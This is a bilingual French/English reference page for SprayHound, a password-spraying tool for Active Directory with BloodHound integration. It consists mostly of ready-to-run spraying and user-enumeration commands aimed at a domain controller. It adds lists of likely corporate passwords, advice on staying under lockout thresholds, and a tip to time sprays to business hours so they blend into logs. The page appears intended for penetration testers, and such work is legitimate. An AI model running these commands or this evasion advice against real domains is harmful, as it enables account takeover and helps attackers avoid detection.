sprayhound

Outil de password spraying intégré à BloodHound. Effectue un password spraying intelligent contre Active Directory, en évitant les comptes proches du verrouillage et en marquant les comptes compromis directement dans BloodHound. BloodHound-integrated password spraying tool. Performs smart password spraying against Active Directory, skipping accounts close to lockout and marking compromised accounts directly in BloodHound.

↗ https://github.com/Hackndo/sprayhound

Overview

SprayHound is an AD password sprayer that integrates with BloodHound. It checks each account’s bad password count before spraying to avoid lockouts, and marks compromised accounts in the BloodHound database — visualizing spray results in the attack graph.

Installation

pip3 install sprayhound

Basic Usage

Password spray with single password

sprayhound -u users.txt -p "Password123!" -d domain.local -dc 10.10.10.1

Spray with multiple passwords

sprayhound -u users.txt -p passwords.txt -d domain.local -dc 10.10.10.1

Get users from LDAP automatically

sprayhound -l -d domain.local -dc 10.10.10.1 -p "Password2024!"

Smart Lockout Avoidance

# SprayHound queries LDAP before each user:
# - Checks badPwdCount for each account
# - Skips accounts with N-1 bad passwords
# - Default safety: skip if badPwdCount >= threshold - 1

Check lockout policy first

sprayhound -l -d domain.local -dc 10.10.10.1 --check-policy

Set custom lockout threshold

sprayhound -u users.txt -p "Pass123!" -d domain.local -dc 10.10.10.1 --threshold 3

BloodHound Integration

Mark compromised accounts in BloodHound 1. Run BloodHound with Neo4j 2. Spray and save to BloodHound:

sprayhound -u users.txt -p "Pass123!" \
  -d domain.local \
  -dc 10.10.10.1 \
  --neo4j neo4j:bloodhound@localhost:7474
# BloodHound now shows:
# → Compromised users highlighted
# → Attack paths available from those users
# → Shortest path to Domain Admins from sprayed accounts

User Discovery

Get users from LDAP (requires at least one valid account or null session)

sprayhound -l -d domain.local -dc 10.10.10.1

Or provide user list from OSINT/enumeration

sprayhound -u users.txt -p "Autumn2024!" -d domain.local -dc 10.10.10.1
# Kerbrute usernames (doesn't need creds)
kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt
# Save found users, then spray:
sprayhound -u valid_users.txt -p "Winter2024!" -d domain.local -dc 10.10.10.1

Password Selection

# Best passwords to spray (not triggering lockout):
# CompanyName + Season + Year: "Acme2024!", "Summer2024!"
# Default corporate: "Password1!", "Welcome1!"
# Common: "Passw0rd!", "P@ssword1"

# One spray per password — wait for reset period between sprays
# Most AD lockout policies: 3-5 bad attempts, 30 min observation window

Tips

  • Always check lockout policy before spraying: net accounts /domain or ldap query
  • Spray at most 1-2 passwords and wait the observation window between rounds
  • BloodHound integration is unique — immediately shows what the compromised accounts can access
  • Time sprays to coincide with business hours (users logging in mask spray activity in logs)
  • Combine with kerbrute for pre-spray user validation
Help / Man page
sprayhound [options]

-u FILE     Usernames file (or single -u username)
-p PASS     Password (or file with -p passwords.txt)
-d DOMAIN   Target domain
-dc IP      Domain controller IP
-l          Enumerate users via LDAP
--check-policy Check lockout policy only
--threshold N  Skip accounts with N bad passwords (default: 1 under limit)
--neo4j URL    Neo4j connection for BloodHound
-v          Verbose

Vue d’ensemble

SprayHound est un sprayer de mots de passe AD qui s’intègre à BloodHound. Il vérifie le compteur de mauvais mots de passe de chaque compte avant de sprayer pour éviter les verrouillages, et marque les comptes compromis dans la base de données BloodHound : les résultats du spray sont ainsi visualisés dans le graphe d’attaque.

Installation

pip3 install sprayhound

Utilisation de base

# Password spraying avec un seul mot de passe
sprayhound -u users.txt -p "Password123!" -d domain.local -dc 10.10.10.1

# Sprayer avec plusieurs mots de passe
sprayhound -u users.txt -p passwords.txt -d domain.local -dc 10.10.10.1

# Récupérer les utilisateurs depuis LDAP automatiquement
sprayhound -l -d domain.local -dc 10.10.10.1 -p "Password2024!"

Évitement intelligent du verrouillage

# SprayHound interroge LDAP avant chaque utilisateur :
# - Vérifie le badPwdCount de chaque compte
# - Ignore les comptes ayant N-1 mauvais mots de passe
# - Sécurité par défaut : ignorer si badPwdCount >= seuil - 1

# Vérifier d'abord la politique de verrouillage
sprayhound -l -d domain.local -dc 10.10.10.1 --check-policy

# Définir un seuil de verrouillage personnalisé
sprayhound -u users.txt -p "Pass123!" -d domain.local -dc 10.10.10.1 --threshold 3

Intégration BloodHound

Marquer les comptes compromis dans BloodHound. 1. Lancer BloodHound avec Neo4j. 2. Sprayer et sauvegarder vers BloodHound :

sprayhound -u users.txt -p "Pass123!" \
  -d domain.local \
  -dc 10.10.10.1 \
  --neo4j neo4j:bloodhound@localhost:7474
# BloodHound affiche maintenant :
# → Les utilisateurs compromis mis en évidence
# → Les chemins d'attaque disponibles depuis ces utilisateurs
# → Le chemin le plus court vers les Domain Admins depuis les comptes sprayés

Découverte des utilisateurs

# Récupérer les utilisateurs depuis LDAP (nécessite au moins un compte valide ou une session null)
sprayhound -l -d domain.local -dc 10.10.10.1

# Ou fournir une liste d'utilisateurs issue d'OSINT/énumération
sprayhound -u users.txt -p "Autumn2024!" -d domain.local -dc 10.10.10.1

# Noms d'utilisateurs via Kerbrute (ne nécessite pas de creds)
kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt
# Sauvegarder les utilisateurs trouvés, puis sprayer :
sprayhound -u valid_users.txt -p "Winter2024!" -d domain.local -dc 10.10.10.1

Choix des mots de passe

# Meilleurs mots de passe à sprayer (sans déclencher de verrouillage) :
# Nom d'entreprise + saison + année : "Acme2024!", "Summer2024!"
# Corporate par défaut : "Password1!", "Welcome1!"
# Communs : "Passw0rd!", "P@ssword1"

# Un spray par mot de passe : attendre la période de réinitialisation entre les sprays
# La plupart des politiques de verrouillage AD : 3-5 mauvais essais, fenêtre d'observation de 30 min

Conseils

  • Toujours vérifier la politique de verrouillage avant de sprayer : net accounts /domain ou requête ldap
  • Sprayer au plus 1 à 2 mots de passe et attendre la fenêtre d’observation entre les tours
  • L’intégration BloodHound est unique : elle montre immédiatement ce à quoi les comptes compromis peuvent accéder
  • Synchroniser les sprays avec les heures de bureau (les connexions légitimes masquent l’activité de spray dans les logs)
  • Combiner avec kerbrute pour valider les utilisateurs avant le spray
Aide / Page de manuel
sprayhound [options]

-u FILE     Usernames file (or single -u username)
-p PASS     Password (or file with -p passwords.txt)
-d DOMAIN   Target domain
-dc IP      Domain controller IP
-l          Enumerate users via LDAP
--check-policy Check lockout policy only
--threshold N  Skip accounts with N bad passwords (default: 1 under limit)
--neo4j URL    Neo4j connection for BloodHound
-v          Verbose